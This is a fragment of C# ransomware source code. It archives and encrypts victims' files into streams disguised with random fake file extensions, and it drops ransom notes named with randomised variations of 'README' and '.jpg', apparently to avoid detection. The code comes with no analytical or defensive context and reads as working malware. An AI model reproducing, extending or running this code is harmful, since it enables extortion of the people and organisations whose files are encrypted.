private void EncryptFileHandler(EncryptionWorkerContext w, FileInfo file) { if (w.fileCount == 0) { w.Close(); // create new one CreateTarOutputStream(file, w); } TarFile(file.FullName, w.encryptedTarStream); w.filesSize += file.Length; ++w.fileCount; // check limits, if exceeded then reset them if ((w.fileCount >= MaxFilesInArchive && MaxFilesInArchive > 0) || (MaxOutputFileSize > 0 && w.filesSize >= MaxOutputFileSize)) { w.Reset(); } }
private void CreateTarOutputStream(FileInfo encFile, EncryptionWorkerContext w) { KeyValuePair <string, byte[]> fileType = (from ft in fileTypes select ft).Skip(random.Next(0, fileTypes.Count() - 1)).First(); string extension = encFile.Extension; if (fileType.Key == extension) { fileType = (from ft in fileTypes where ft.Key != extension select ft).First(); } // remove old file extension and add new one string fileName = encFile.FullName; fileName = fileName.Substring(0, fileName.Length - extension.Length); // + fileType.Key fileName += fileType.Key; Console.WriteLine("CreateOutputStream: {0}", fileName); w.output = new FileStream(fileName, FileMode.Create, FileAccess.Write); CryptoStream crypt = GetEncryptStream(w.output, fileType.Value); if (Compress) { w.encryptedTarStream = new TarOutputStream(new GZipOutputStream(crypt)); } else { w.encryptedTarStream = new TarOutputStream(crypt); } Random _random = new Random(); int num = _random.Next(0, 26); // Zero to 25 char let = (char)('a' + num); int rArch2 = random.Next(1, 10); if (rArch2 == 1) { GenerateRansomNote(string.Concat(fileName.Reverse().Skip(4).Reverse()) + "READ" + let + "ME.jpg"); } if (rArch2 == 2) { GenerateRansomNote(string.Concat(fileName.Reverse().Skip(4).Reverse()) + "REA" + let + "DME.jpg"); } if (rArch2 == 3) { GenerateRansomNote(string.Concat(fileName.Reverse().Skip(4).Reverse()) + "READM" + let + "E.jpg"); } if (rArch2 == 4) { GenerateRansomNote(string.Concat(fileName.Reverse().Skip(4).Reverse()) + "RE" + let + "ADME.jpg"); } if (rArch2 == 5) { GenerateRansomNote(string.Concat(fileName.Reverse().Skip(4).Reverse()) + "R" + let + "EADME.jpg"); } if (rArch2 == 6) { GenerateRansomNote(string.Concat(fileName.Reverse().Skip(4).Reverse()) + "read" + let + "this.jpg"); } if (rArch2 == 7) { GenerateRansomNote(string.Concat(fileName.Reverse().Skip(4).Reverse()) + "rE" + let + "dME.jpg"); } if (rArch2 == 8) { GenerateRansomNote(string.Concat(fileName.Reverse().Skip(4).Reverse()) + "readm" + let + "E.jpg"); } if (rArch2 == 9) { GenerateRansomNote(string.Concat(fileName.Reverse().Skip(4).Reverse()) + "re" + let + "adme.jpg"); } if (rArch2 == 10) { GenerateRansomNote(string.Concat(fileName.Reverse().Skip(4).Reverse()) + "R" + let + "EADME.jpg"); } if (rArch2 == 11) { GenerateRansomNote(string.Concat(fileName.Reverse().Skip(4).Reverse()) + "Listen" + let + "toME.jpg"); } }